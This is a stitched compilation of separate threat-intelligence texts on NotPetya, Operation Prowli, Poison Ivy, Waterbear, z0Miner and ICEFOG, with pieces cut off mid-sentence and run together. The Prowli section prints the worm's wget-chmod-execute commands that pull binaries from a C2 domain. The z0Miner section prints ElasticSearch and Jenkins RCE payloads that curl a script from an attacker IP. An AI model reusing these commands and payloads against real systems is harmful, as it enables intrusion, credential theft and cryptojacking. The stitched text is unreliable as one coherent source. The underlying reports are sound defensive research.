## Future Work Emerging vehicle technologies, such as V2V and V2I communication components, are underrepresented in the data thus far. These emerging technologies typically require self-funded research, and thus are rarely published. Similarly, the data set does not contain any defensive tools or products. It would be interesting to perform a similar analysis on the defensive tools present in the current vehicle cybersecurity market. Adding additional components to the system, even if they are designed to improve security, always adds complexity, introducing new attack vectors and possibly new vulnerabilities. In the future we should evaluate these systems on their own cybersecurity merit, and add their vulnerabilities to this research.
# Re-cap: The Untold Story of NotPetya, The Most Devastating Cyberattack in History In June 2017, nation-state hackers utilised a widely-used accounting software as a stepping stone to infect dozens of companies around the world. Its devastating impact paralysed shipping company Maersk, pharmaceutical company Merck, and French construction company Saint-Gobain. At Maersk, a finance executive in Ukraine had asked an IT administrator to install the accounting software on a single computer in an office in Odessa, a port city on Ukraine’s Black Sea coast. That gave the malware the foothold it needed to spread beyond Ukraine, disabling ports and shipping operations at Maersk globally. IT engineers worked tirelessly to recover servers, systems, data, and applications. According to a White House assessment, the attack caused more than $10 billion of global damages. In the full article published on Wired.com, journalist Andy Greenberg writes: “Almost everyone who studied NotPetya agrees on one point: that it could happen again or even reoccur on a larger scale.” NotPetya has proven to the world that distance is no defence in cyberspace. With geopolitical tensions rising, this captivating story of NotPetya is a stark reminder of the ripple effects a nation-state attack has on companies. ## Why does this matter for businesses? NotPetya is a story of nation-state cyber weapons, geopolitical tensions, and unsuspecting companies caught in the crossfire, suffering collateral damage. The story of NotPetya could be instructive for the current geopolitical tension between Ukraine and Russia. NotPetya highlights the need not only for cybersecurity protection within enterprises and across their supply chains, but also the need for resilience.
# Operation Prowli: Monetizing 40,000 Victim Machines Guardicore Labs team has uncovered a traffic manipulation and cryptocurrency mining campaign infecting a wide number of organizations in industries such as finance, education, and government. This campaign, dubbed Operation Prowli, spreads malware and malicious code to servers and websites and has compromised more than 40,000 machines in multiple areas of the world. Prowli uses various attack techniques including exploits, password brute-forcing, and weak configurations. This multi-purpose operation targets a variety of platforms – CMS servers hosting popular websites, backup servers running HP Data Protector, DSL modems, and IoT devices. Victim machines are monetized using a variety of methods, relying on internet trends such as digital currencies and traffic redirection. Traffic monetization frauds are quite common and are based on redirecting website visitors from their legitimate destination to websites advertising malicious browser extensions, tech support scam services, fake services, and more. We uncover the entire Prowli operation, all the way from the unaware user visiting an infected website through the traffic monetizer to the scam operator. In this report, we focus on the attackers’ techniques, methodologies, infrastructure, and goals. We will dive into the technical details and the way the money flows. A list of indicators of compromise (IOCs) related to the operation is provided at the end of the post. ## Discovering the r2r2 worm On the 4th of April, the Guardicore Global Sensor Network (GGSN) reported a group of SSH attacks communicating with a C&C server. The attacks all behaved in the same fashion, communicating with the same C&C server to download a number of attack tools named r2r2 along with a cryptocurrency miner. ### Some of the attackers’ steps as recorded by GGSN What caught our attention and made us look deeper into this operation was: - We traced this campaign across several networks in different countries, associated with different industries. - The attackers were using unfamiliar tools new to the Guardicore Reputation repository as well as other known datasets such as VirusTotal. - The attackers used binaries with the same domain name hardcoded in the code, and each of the binaries was designed to attack different services and CPU architectures. Over a period of 3 weeks, we captured dozens of such attacks per day coming from over 180 IPs from a variety of countries and organizations. These attacks led us to investigate the attackers’ infrastructure and discover a wide-ranging operation attacking multiple services. ### Scope We found that the attackers store a large collection of victim machines with IP addresses and domains that expose different services to the Internet. These services are all either vulnerable to remote pre-authentication attacks or allow the attackers to brute-force their way inside. The list of targeted services includes Drupal CMS websites, WordPress sites, DSL modems, servers with an open SSH port, vulnerable IoT devices, servers exposing HP Data Protector software, and more. Most of the victims ran with weak SSH credentials. The attackers behind Operation Prowli assaulted organizations of all types and sizes, which is in line with previous attacks we investigated. ## Operation Prowli’s victims Operation Prowli has compromised a wide range of services, without targeting a specific sector. ### Monetization: How does the money flow? The attackers behind Operation Prowli are focused on making money from their efforts rather than ideology or espionage. We currently understand two key flows of revenue in this operation. The first source of revenue comes from cryptocurrency mining. Typically, cryptocurrency mining is considered a resource-heavy operation that involves a large upfront investment followed by ongoing traffic and energy costs. The attackers behind Prowli incur no expenses when they use r2r2 to take over computers owned by others and use mining pools to launder their gains. Cryptocurrency is a common payload of modern worms, and in this case, as in many others, our attackers prefer to mine Monero, a cryptocurrency focused on privacy and anonymity to a greater degree than Bitcoin. The second source of revenue is traffic monetization fraud. Traffic monetizers, such as roi777, buy traffic from “website operators” such as the Prowli attackers and redirect it to domains on demand. Website “operators” earn money per traffic sent through roi777. The destination domains frequently host different scams, such as fake services, malicious browser extensions, and more. ### What’s Under Attack? Operation Prowli operators maintain a toolbox with a variety of attack methods to fit their needs. We’ve seen different types of attacks, each based on a different service. Some attacks are based on worms that randomly attack IPs on the internet, while others targeting CMS servers use a master list of targets. A partial list of the attack vectors we’ve seen include: - Machines running SSH are hacked by a self-propagating worm spread by brute force credential guessing; the victims download and run a cryptocurrency miner. - Joomla! Servers running the K2 extension are attacked with file download vulnerability, using a URL such as `https://.com/index.php?option=com_k2&view=media&task=connector&cmd=file&target=[base64 of file path]&download=1`. This provides the attackers sensitive server configuration data such as passwords and API keys. - A variety of DSL modems are hacked by accessing their internet-facing configuration panel using a URL such as `https://:7547/UD/act?1` and passing in parameters exploiting a known vulnerability. The vulnerability resides in the processing of SOAP data and allows remote code execution. This vulnerability was previously used by the Mirai worm. - WordPress servers are hacked by a variety of infectors – some attempt to brute force login into the WP administrative panel, others exploit old vulnerabilities in WordPress installations. A third type of attack searches for servers with configuration problems, such as exposing FTP credentials when accessing `https://.com/wp-config.php~`. - Servers running HP Data Protector exposed to the internet (over port 5555) are exploited using a 4-year-old vulnerability – CVE-2014-2623 used to execute commands with system privileges. The attackers also target systems with Drupal, PhpMyAdmin installations, NFS boxes, and servers with exposed SMB ports open to brute force credential guessing. An additional type of victims are compromised servers which host a well-known open-source web shell named “WSO Web Shell”. ### Complete control of infected machines These PHP-based shells provide access and remote code execution on different compromised machines, frequently running vulnerable versions of WordPress. We believe that these web shells are used by the attackers as pivot points. They provide a reliable platform to run scanning and attack scripts. ### Bruteforce for the win Let’s take a closer look at the brute force SSH attack that tipped us off to this operation. The binary named r2r2 is written in Golang. A quick look showed that r2r2 randomly generates IP address blocks and iteratively tries to brute force SSH logins with a user/password dictionary. Once it breaks in, it runs a series of commands on the victim. These commands run wget to download files from a hard-coded server: - Multiple copies of the worm for different CPU architectures - A cryptocurrency miner and configuration file The worm runs commands on remote victims and then reports credentials to a C2 server. The commands used were: ``` cd /tmp; wget -O r2r2 h[]://wp.startreceive.tk/tdest/z/r2r2; chmod 777 r2r2; ./r2r2 > /dev/null 2>&1 & cd /tmp; wget -O r2r2-a h[]://wp.startreceive.tk/test/z/r2r2-a; chmod 777 r2r2-a; ./r2r2-a > /dev/null 2>&1 & cd /tmp; wget -O r2r2-m h[]://wp.startreceive.tk/test/z/r2r2-m; chmod 777 r2r2-m; ./r2r2-m > /dev/null 2>&1 cd /tmp; wget -O xm111 h[]://wp.startreceive.tk/test/z/xm111; chmod 777 xm111; wget -O config.json h[]://wp.startreceive.tk/test/z/config.json; chmod 777 config.json; ./xm111 > /dev/null 2>&1 ``` The different versions of the r2r2 binary, r2r2, r2r2-a, and r2r2-m are the same binary compiled for different platforms, x86, ARM, and MIPS respectively. From the binary, we also extracted strings helping us name the attackers. After breaking into the server, the credentials used to login to the victim are transmitted over plaintext HTTP to `wp.startreceive[.]tk/test/p.php` and logged in the attackers' server. Some versions of the worm send more details about the victims such as CPU, kernel dist version, etc. ### Joomla!.tk C&C The attackers’ attack tools report to a C&C server running under the domain name `wp.startreceive[.]tk`. This Joomla! server is a compromised server, which the attackers reuse to track their malware, collect information from the ever-growing victims list, and also serve different payloads to compromised machines. The C&C logic is implemented by a group of PHP files that receive data on victims from the relevant infectors and store the details. The victims are catalogued by exploitation method with all the details needed to allow the attackers to access them again at any given time. For every targeted service, victim data is stored in a log file with all the data the attacker needs to regain access to the machine. For example: - WordPress administration panel – Login credentials - SSH – Login credentials - Joomla! – URL exposing Joomla! configuration file - WordPress databases – user, password, db name, and MySQL IP/domain - WordPress weak configuration – URL exposing FTP credentials - DSL modems – URL exposing vulnerable configuration panels - Webshell – A URL hosting “WSO Web Shell” and credentials ### Show me the payload The attackers behind Operation Prowli use different payloads for each of their targets. The SSH brute force attack provides the attackers with complete control of the system and is used to mine cryptocurrency, while breached websites are used to run different web frauds. Other victims are picked by the attackers to execute more attacks, similar to how the server behind `wp.startreceive[.]tk` was used as a C&C server. A significant part of this operation infects websites that run vulnerable CMS software. In some cases, the payload is a PHP file that infects the website and injects code into different PHP pages and JavaScript files. The PHP injector function `php_in` checks whether the targeted PHP file outputs HTML and if it does, injects a snippet of JavaScript code into the generated page. This snippet starts a process that ends with innocent website visitors redirected to a malicious website. The injected code loads another JavaScript snippet from `stats.startreceive[.]tk/script.js` that in turn requests a URL from an obfuscated server-side PHP file `stats.startreceive[.]tk/send.php` and redirects the visitor to the provided URL. We believe that the `send.php` page belongs to roi777 and is being used by Prowli as the integration point between roi777’s infrastructure and “website operators”. To make sure roi777 doesn’t track the list of websites controlled by Prowli operators, the Prowli code injector script uses a redirect website (`stats.startreceive[.]tk`) on which the `send.php` page is hosted rather than injecting the code into infected websites. ### Detection & Prevention The attacks are based on a mix of known vulnerabilities and credential guessing. This means prevention should consist of using strong passwords and keeping software up to date. While “patch your servers and use strong passwords” may sound trivial, we know that “in real life” things are much more complicated. Alternatives include locking down systems and segmenting vulnerable or hard-to-secure systems to separate them from the rest of your network. For CMS software, if routine patching or external hosting is not a solution, assume at some point it will be hacked and follow strict hardening guides. The major CMS vendors WordPress and Drupal provide hardening guides. For example, a locked-down WordPress installation would have prevented attackers from modifying files with their injected code. For general-purpose PHP websites, OWASP provides a hardened PHP configuration. Segmentation is a good practice, and since you can’t always prevent the breach, you should segment and monitor your network to minimize harm and avoid infamous breaches such as the fish tank breach. Routinely review who and what can access the servers. Keep this list to a minimum and pay special attention to IoT devices whose credentials cannot be changed. Monitoring connections would easily show compromised devices communicating with cryptocurrency mining pools. ### R2R2 infected machines If you have an infected machine with r2r2, stopping the worm & miner processes (r2r2 and xm11) and deleting the files will suffice to clean up the attack. Don’t forget to change passwords after the cleanup. You can detect these machines by looking for high CPU usage or an abnormal amount of outgoing SSH connections to unknown IPs. ### Detect visitors of Prowli infected websites Discovering if any of the computers in your network has visited an infected website can be done by examining network traffic and searching for traffic to `wp.startreceive[.]tk` and `stats.startreceive[.]tk`. Machines that tried to resolve one of these domains have previously visited an infected website. We advise you to make sure users have not installed any malicious software or were exploited by common browser vulnerabilities. Also, it might be worth to search for domains ending in .tk. While there are legitimate websites under that gTLD, according to this research, phishing domains are incredibly common under this register. ### Detect compromised CMS servers To check if a website is compromised, search the code files (PHP and JS files) for the following snippet:
# SPECIAL REPORT ## POISON IVY: Assessing Damage and Extracting Intelligence ### Executive Summary Remote access tools (RATs) may be the hacker’s equivalent of training wheels, as they are often regarded in IT security circles. But dismissing this common breed of malware could be a costly mistake. Despite their reputation as a software toy for novice “script kiddies,” RATs remain a linchpin of many sophisticated cyber attacks. Requiring little technical savvy to use, RATs offer unfettered access to compromised machines. They are deceptively simple—attackers can point and click their way through the target’s network to steal data and intellectual property. But they are often delivered as key components of coordinated attacks that use previously unknown (zero-day) software flaws and clever social engineering. Even as security professionals shrug off the threat, the presence of a RAT may in itself indicate a targeted attack known as an advanced persistent threat (APT). Unlike malware focused on opportunistic cybercrime (typically conducted by botnets of compromised machines), RATs require a live person on the other side of the attack. This report spotlights Poison Ivy (PIVY), a RAT that remains popular and effective a full eight years after its release, despite its age and familiarity in IT security circles. In conjunction with the study, FireEye® is releasing Calamine, a set of free tools to help organizations detect and examine Poison Ivy infections on their systems. Poison Ivy has been used in several high-profile malware campaigns, most notoriously, the 2011 compromise of RSA SecurID data. The same year, Poison Ivy powered a coordinated attack dubbed Nitro against chemical makers, government agencies, defense firms, and human-rights groups. And Poison Ivy is so widely used that security professionals have a harder time tracing attacks that use the RAT to any particular attacker. We hope to eliminate some of that anonymity with the FireEye Calamine package. The package, which enables organizations to easily monitor Poison Ivy’s behavior and communications, includes these components: - PIVY callback-decoding tool (ChopShop module) - IVY memory-decoding tool (Immunity Debugger PyCommand script) - A timeline of malware activity This report explains how Calamine can connect these and other facets of the attack. This evidence is especially useful when it is correlated with multiple attacks that display the same identifying features. Combining these nuts-and-bolts details with big-picture intelligence can help profile threat attackers and enhance IT defenses. Calamine may not stop determined attackers that use Poison Ivy, but it can make their criminal endeavors that much more difficult. ### Introduction Poison Ivy is a remote access tool that is freely available for download from its official website. First released in 2005, the tool has gone unchanged since 2008 with version 2.3.2. Poison Ivy includes features common to most Windows-based RATs, including key logging, screen capturing, video capturing, file transfers, system administration, password theft, and traffic relaying. Poison Ivy’s wide availability and easy-to-use features make it a popular choice for all kinds of criminals. But it is probably most notable for its role in many high-profile, targeted APT attacks. These APTs pursue specific targets, using RATs to maintain a persistent presence within the target’s network. They move laterally and escalate system privileges to extract sensitive information—whenever the attacker wants to do so. Because some RATs used in targeted attacks are widely available, determining whether an attack is part of a broader APT campaign can be difficult. Equally challenging is identifying malicious traffic to determine the attacker’s post-compromise activities and assess overall damage—these RATs often encrypt their network communications after the initial exploit. In 2011, three years after the most recent release of PIVY, attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system. That data was subsequently used in other attacks. The RSA attack was linked to Chinese threat actors and described at the time as extremely sophisticated. Exploiting a zero-day vulnerability, the attack delivered PIVY as the payload. It was not an isolated incident. The campaign appears to have started in 2010, with many other companies compromised. PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers, government agencies, defense contractors, and human rights groups. Still active a year later, the Nitro attackers used a zero-day vulnerability. ### Technical Analysis #### Build and Implementation The Poison Ivy builder kit allows attackers to customize and build their own PIVY server, which is delivered as mobile code to a target that has been compromised, typically using social engineering. Once the server executes on a target’s endpoint, it connects to a PIVY client installed on the attacker’s machine, giving the attacker control of the target system. The PIVY server code can be executed on the target endpoint in a number of ways, depending on how the attacker configured it. In the most common configuration, the PIVY server divides its code into two parts: - Initialization and maintenance code - Networking code The initialization and maintenance code is injected into the already-running explorer.exe process. Depending on how the attacker configures it, the networking code launches a hidden Web browser process (the system’s default browser) and injects itself into that process. The networking code then remotely downloads the rest of the code and data it needs for its features and functionality. The new code executes on the target’s endpoint within the context of the target process. Poison Ivy features a complex, custom network protocol over TCP. Most of this communication is encrypted using the Camellia cipher with a 256-bit key. The key is derived from a password provided by the attacker when building the PIVY server. The password, “admin” by default, can be provided in plain text or as hex-ASCII. The password is zero-padded to 32 bytes (256 bits). The key is validated at the beginning of the TCP session with a challenge-response algorithm. The PIVY server sends 256 bytes of randomly generated data to the PIVY client which, in turn, encrypts the data using the key and sends it back to the PIVY server for validation. Much of the data sent throughout PIVY’s communications is also compressed before encryption using Microsoft’s LZNT1 compression algorithm. ### Extracting Intelligence APT activity is best described as a campaign—a series of attacks over time. Each individual attack within a campaign can be divided into the following phases: - Reconnaissance - Exploitation - CnC - Lateral movement - Exfiltration (or other malicious actions on the target) Each of these phases provides opportunities to derive threat intelligence about the adversary. Over time, security professionals can acquire and analyze evidence to determine whether the attacks constitute malware-based espionage. Such an assessment requires understanding these components of an attack: - Timing and targeting preferences - Exploits and malware - Network infrastructure - Scope of attackers’ activities within a compromised network (including stolen data) - Characteristics of the target population ### Conclusion We cannot say with certainty why the actors responsible for the admin@338, menuPass, and th3bug campaigns rely on Poison Ivy. But possible explanations include PIVY’s easy-to-use features and the relative anonymity that an off-the-shelf RAT provides for attackers. Compared to other RATs, PIVY is very easy to operate. Its graphical user interface (GUI) makes building new servers and controlling infected targets simple. Attackers can point and click their way through a compromised network and exfiltrate data. Commodity RATs also complicate efforts by security professionals to correlate a threat actor’s activity over time—attackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware. By exposing the role of PIVY and other commodity RATs in APT campaigns, we hope to complicate attackers’ ability to hide behind these off-the-shelf tools—and perhaps force them away from using these RATs. In this report, we have provided several techniques that network defenders can use to not only identify a PIVY infection but also classify and correlate detected infections to previously observed APT activity.
# Taiwan Government Targeted by Multiple Cyberattacks in April 2020 **CyCraft Technology Corp** **January 31, 2022** **Oct 8, 2020** **7 min read** ## Part 1: Waterbear Malware In April 2020, highly malicious cyber activity was detected in several Taiwan government agencies. In one environment alone, out of the thousands of endpoints scanned, 30 endpoints were confirmed to be infected, and 10 high-risk endpoints were connected by these compromised endpoints. Ten key malware were discovered during these sophisticated targeted attacks — most of them were Waterbear Loader malware. CyCraft AIR assigns Threat Level 10 to the most severe and most damaging malware. ### Highlighted Tactics The attackers discovered and leveraged a weak point in trusted and commonly used data loss prevention (DLP) software in order to trigger malware and maintain persistence. The government agencies targeted for attack in April 2020 had already been compromised prior to the April attacks; however, CyCraft AIR discovered that not all the malware from the previous attack was removed during another vendor’s IR investigation, allowing the attackers to use the previously compromised endpoints yet again. The discovered Waterbear Loader malware used several methods to evade defense: - DLL hijacking to stealthily trigger next stage malware - Enlarging binary size to bypass scanning protocols - Heaven’s Gate to avoid antivirus detection - Forcing DLLs to unload to obfuscate malware - Padding memory with Kernel32 content to confuse analyses ### Network Level Activity The attackers first compromised a user’s endpoint to harvest administrative credentials. The credentials were then utilized to RDP a web server. With the connectivity of the web server, the attackers “net use” through the webserver, allowing them to distribute malware directly to other endpoints. One endpoint in the victim’s private network was still compromised. The attackers used this previously compromised endpoint in the victim’s private network as the C2 server for this attack. ### System Level Activity #### DLL Hijacking A DLL hijacking attack exploits the Windows search and load mechanism, allowing attackers to inject code into applications through disk manipulation. By simply injecting a DLL file in the right location, attackers can cause vulnerable applications to load malicious DLLs. The attackers leveraged a DLL hijacking vulnerability in the DLP software to enlarge its defensive evasion capability and to persistently trigger next-stage malware. However, the DLP software failed to verify the integrity of their loaded DLLs. Thus the DLP software loaded the malicious DLL with high privilege. The attacker modified LOG4C.DLL to implant a new entry in the import table. The new entry will enforce the DLP software to load the malicious SecureFile.dll (or LIBDIG.dll). The loaded DLL then injects shellcode to system services, including Winmgmt, sens, Wuauserv, and LanmanServer. Then, the next-stage malware payload is invoked to communicate to the C2 server. ### Next-Stage Malware Increased Size File-based scanners sometimes skip the scanning of larger files to maintain performance. The attackers enlarged the file size to bypass scanning altogether. The original size of file oci.dll is 66.5 KB; however, it had been enlarged to 130 MB, allowing it to be ignored by numerous security scanning tools. ### Windows IKEEXT Service Abuse The threat actor made use of Windows IKEEXT Service to load even more malware into memory — WLBSCTRL.DLL. Windows IKEEXT Service is a service for APN authentication that is disabled in the default Windows setting. This service is widely abused by attackers. ### Waterbear Loader Malware Analysis **File Metadata** - filename: libgid.dll - md5: e3be074e0da9ba0c3201ceea4dd972d6 - sha1: cd8f49e467cf2f630c7f3b38a2e4c30e7bac6466 - sha256: e69690e4f94a60678aefc3adb80eef484bb5ca4285a2d3aabc1bb8d975fb7610 - filetype: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - family: Waterbear Loader **Indicator** - file_path: C:\Windows\PolicyDefinitions\TrayBar.admx ### RICH Header The Waterbear Loader malware resurrected a 10-year-old antivirus evasion technique known as Heaven’s Gate. In this case, the attackers applied Heaven’s Gate to inject shellcode into the 64-bit system service from 32-bit WoW64. Just as 64-bit and 32-bit programs are quite different, so are analysis mechanisms. Malware equipped with Heaven’s Gate contains both 64-bit and 32-bit parts. Therefore, some monitor/analysis systems will only apply 32-bit analysis and will fail the 64-bit part; thus, this approach will break some monitor/analysis mechanisms. #### What is Heaven’s Gate? This antivirus evasion technique permits 32-bit malware to hide API calls by switching to a 64-bit environment. Malware typically remains hidden inside the loader, making it difficult for the AV to detect. While Heaven’s Gate was first considered to be an advanced technique, it has been observed in more rootkits and other malware, such as the infamous Emotet trojan. Even though usage of Heaven’s Gate spread, Microsoft’s release of Control Flow Guard (CFG) in Windows 10 immediately hindered the exploit’s effectiveness as CFG prevented code jumps from WoW64 32-bit execution to native 64-bit code execution space. However, like most exploits, attackers still equip them when targeting legacy systems, further demonstrating the need for organizations to update defenses early and often. ### Behavior 1. Waterbear Loader first checks whether the current execution context is WoW64 and looks for Winmgmt, sens, Wuauserv, LanmanServer to inject the shellcode. 2. Waterbear Loader uses xor to decrypt strings in the file with key 0x2a361c78. 3. Waterbear Loader reads the encrypted payload. In this case: C:\Windows\PolicyDefinitions\TrayBar.admx. 4. Then uses RC4 to decrypt it with a specific key. 5. To further confuse analysis, Waterbear Loader padded contents from Kernel32.dll in front of and behind their shellcode. 6. Used x64_InjectShellcode to inject shellcode to the previously found service by Heaven’s Gate. 7. Finally, the LdrData data is modified and forced to free the library by FreeLibraryAndExitThread. ### MITRE ATT&CK® The following MITRE ATT&CK techniques were observed in this attack. **Persistence** - T1547.001 Registry Run Keys/ Startup Folder - T1574.001 DLL Search Order Hijacking **Privilege Escalation** - T1574.001 DLL Search Order Hijacking **Defense Evasion** - T1574.001 DLL Search Order Hijacking - T1027.002 Software Packing - T1070.006 Timestop **Lateral Movement** - T1021.001 Remote Desktop Protocol ### IOCs - 30DDEFC3093AFD7075A74BE30A381A3D SQLWVSS.DLL - C6EE3CEED5ADA7EE23FEB0E0CEA95193 IGTERM.DLL - 8B4631B618D2B516A3D3EBC38B25D267 OCI.DLL - 2FAAFC5D2C4BC6DE4D0B73B34FB7B379 SECUFILE.DLL - E3BE074E0DA9BA0C3201CEEA4DD972D6 LIBGID.DLL - F44805399017DAECF9E37F7190BCF699 WLBSCTRL.DLL - F10034D1D8F90F36FEA602A4128BAEBC SQLWVSS_NT.DLL - 49D6C7FD1D47F345F64EEA6DA8591084 LOG4C.DLL - AE63EBAE30678DA8A7314A9427747BBE LIBGID.DLL - 48AA2A38E5125C4E0E4A069C473F67FC LOG4C.DLL ### Mitigation 1. Add listed IOCs to preventative solution blacklists. 2. Adjust detection and response solutions to detect listed IOCs. 3. Meticulously track down the root cause of the attack (not just the endpoint) and thoroughly remove malware to prevent future attacks. 4. As DLP software is widely deployed in sensitive organizations, both DLP vendors and customers need to strive for hardening security. 5. Do not rely on a one-solution security policy. Preventative solutions and DLP solutions are no longer enough to maintain resilience during sophisticated attacks. AI-driven detection and response solutions can reduce mean dwell time, increase SOC efficiency, automate investigations, and reduce alert fatigue.
# Threat Alert: z0Miner Is Spreading Quickly by Exploiting ElasticSearch and Jenkins Vulnerabilities **JiaYu** **March 8, 2021** **Botnet** ## Overview In recent months, with the huge rise of Bitcoin and Monero, various mining botnets have kicked into high gear. Our BotMon system detects dozens of mining botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them. z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the Tencent Security Team. z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation. Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends. ## z0Miner Recent Active Trends ### Vulnerability Exploit **ElasticSearch RCE vulnerability CVE-2015-1427** Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit payload is as follows (key details have been omitted): ``` POST /{VULN_URI} HTTP/1.1 Host: {target}:{port} {...exec("curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby")...} ``` **Jenkins Script Console RCE Vulnerability** This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner payload is: ``` POST /{VULN_URI} HTTP/1.1 Host: {target}:{port} curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run ``` ## Sample Analysis ### Initial Shell Script The core logic of the payloads exploited by the above two vulnerabilities is to download `hxxp://27.1.1.34:8080/docs/conf.txt` and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier z0.txt. The logic is essentially the same as in the earlier z0.txt: 1. Kill the competitor 2. Setting up Cron 3. Download & execute the mining programs ### Cron As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks. The latest malicious script URLs are as follows: - `hxxps://pastebin.com/raw/4rb51qKW` - `hxxps://pastebin.com/raw/bwD1BCXt` Currently, the script downloaded from the above URL only contains an exit command, and more malicious actions probably will be added in the future. ### Mining After killing competitors and setting up crontab, `conf.txt` will download the mining kit from the following 3 URLs and start mining: - `hxxp://27.1.1.34:8080/docs/config.json` --> Mining Config file - `hxxp://178.62.202.152:8080/Wuck/java.exe` --> XMRig Miner - `hxxp://27.1.1.34:8080/docs/solr.sh` --> Miner Starter Shell script file The `solr.sh` file is a shell script dedicated to killing more competitors and starting the mining program. The XMR Wallet in the `config.json` file differs from the earlier z0Miner Wallet: ``` 49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3Qn ``` And now reads over 22 XMRs have been mined so far. ## IoC ### C&C - `27.1.1.34:8080` Republic of Korea | Seoul ASN9943 | KangNam CableTV - `178.62.202.152:8080` Netherlands | North Holland | Amsterdam ASN14061 | DigitalOcean ### URL - `hxxp://27.1.1.34:8080/docs/conf.txt` - `hxxps://pastebin.com/raw/4rb51qKW` - `hxxps://pastebin.com/raw/bwD1BCXt` - `hxxp://27.1.1.34:8080/docs/config.json` - `hxxp://178.62.202.152:8080/Wuck/java.exe` - `hxxp://178.62.202.152:8080/Wuck/xmrig.exe` - `hxxp://27.1.1.34:8080/docs/solr.sh` ### MD5 - `4417ff134484bb8ce4ff567574beaa5` - `c1dcc75d729e31833892cb649f450568` - `adb190c4e90cc61ca266cfda355826df` - `d833fc2ced5d0791a404ced14ecf4e20` - `26a91e9a94c7f8d966de1541095a3d92` - `373b018bef17e04d8ff29472390403f9` ### XMR Wallet ``` 49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3Qn ```
# Into the Fog - The Return of ICEFOG APT In 2013, a public report revealed a group of actors conducted targeted attacks leveraging a malware dubbed ICEFOG against mainly government organizations and the defense industry of South Korea and Japan. Little has been published on the activities of ICEFOG malware since the report was released more than six years ago. However, despite a pause and a decrease in sample numbers observed, the attacks leveraging the ICEFOG malware did not entirely stop after the exposure. In the past few years, we observed different attacks where the malware was delivered and exploited with different tactics, techniques, and procedures (TTP) compared with the campaign reported in 2013. In the recent attack, a new variant of the ICEFOG samples was also discovered. In this talk, I will introduce our findings among different samples discovered across these years and highlight the evolved TTPs that the actor applied to evade detection in the new campaign. In addition, I will also introduce and clarify the potential connections between ICEFOG operators and other APT groups. ## What is ICEFOG (aka Fucobha)? - Kaspersky 2013 Report: The Icefog APT: A Tale of Cloak and Three Daggers. - A malware used in campaigns targeting the US, Japan, Taiwan, and South Korea between 2011 – 2013. - Now ICEFOG is referred to as a malware family, a report, sometimes referred to as a group. ## The ICEFOG Campaign Return? - Last public report in 2013 and 2014. - No public reporting on the new ICEFOG campaign after 2014. What happened between these 5 years? - The samples discovered recently have changed the target scope. Is this the same group as in 2013? - Goal: find out what happened between these 5 years and find out who is using ICEFOG. ## Why Do We Care? Know your Pokémon and know yourself, you will always be victorious. - Ashley Threat Intelligence ## Let’s start HUNTING! **Tools:** - Yara, signature detections on appliance **Method:** - Strings - Malware Functions - PDB & GUID - Exploit document template - Infrastructure pivoting, correlation. ## ICEFOG Variants (<2014) | ICEFOG Type | Support Platform | Support Functions | Communication Method | |--------------|------------------|-------------------|----------------------| | Old ICEFOG | Windows | upload_, download_, Cmd_, code_ | Communicate with emails | | ICEFOG Type 1 | Windows | upload_, download_, Cmd_, code_ | Communicate with C&C server with “.aspx” scripts | | ICEFOG Type 2 | Windows | upload_, download_, Cmd_, code_ | Script based proxy server C&C server with scripts named “view.asp”, “update.asp”, “upfile.asp” | | ICEFOG Type 3 & 4 (No sample) | Windows | Unknown | TCP connection to port 5600 | | ICEFOG-NG | Windows | Cmd, Download, Upload, sleep | Communicate with C&C server with “.aspx” scripts | | ICEFOG OSX (aka Macfog) | Mac OSX | upload_, download_, Cmd_, code_ | Communicate with C&C server with “.aspx” scripts | | ICEFOG Java (aka Javafog) | Java | upload_, download_, Cmd_, code_ | Communicate with C&C server with “.aspx” scripts | ## Common ICEFOG Strings - Communication Traffic - ICEFOG-Type2 - ICEFOG-Type1 - XOR Keys - Old ICEFOG Mail ## Hunting Malware Functions - ICEFOG-NG Communication - ICEFOG-NG Encrypt Function - ICEFOG-Type 1 Encrypt Function - ICEFOG OSX Encrypt Function ## The CVE2017-11882 Exploit Template - Shellcode decode routine - Open Document Encoded (0xFC) - Dropper (8.t) Drops into %temp% - Shellcode decode & execute - Malware can be hunted by the RTF Object Dropper ## The Shared Exploit Builder - CVE 2017-11882 exploit template. - Actually, shared among at least 3 different groups (APT40, Conimes team aka Goblin Panda, ICEFOG Operators). ## Two ICEFOG Variants (2014 - 2019) | ICEFOG Variant | Support Platform | First Seen | Communication Protocol | |----------------|------------------|------------|------------------------| | ICEFOG - P | Windows (x86 & x64) | 2014 | HTTP | | ICEFOG - M | Windows (shellcode) | 2018 | HTTPS (port 443) | ## ICEFOG-P (New) **Command Description:** - cmd_: Execute the command received from C&C - download_: Download file from specified URL - filelist_: Obtaining the list of files within specified folder. - upload_: File loading from the server to computer. - delete_: Delete specified file - rename_: Move file to specified location - newdir_: Create specified directory - beforecontinuefile_: Reset connection to the server - continuefile_: Resume the file download from the server. - exit_: Terminate Process. - transover_: Termination of current thread. - screen_: Send screenshot to C&C server. - key_: Send keylogger’s log file to C&C - disklist_: Setting monitored folders - disklog_: Upload monitored 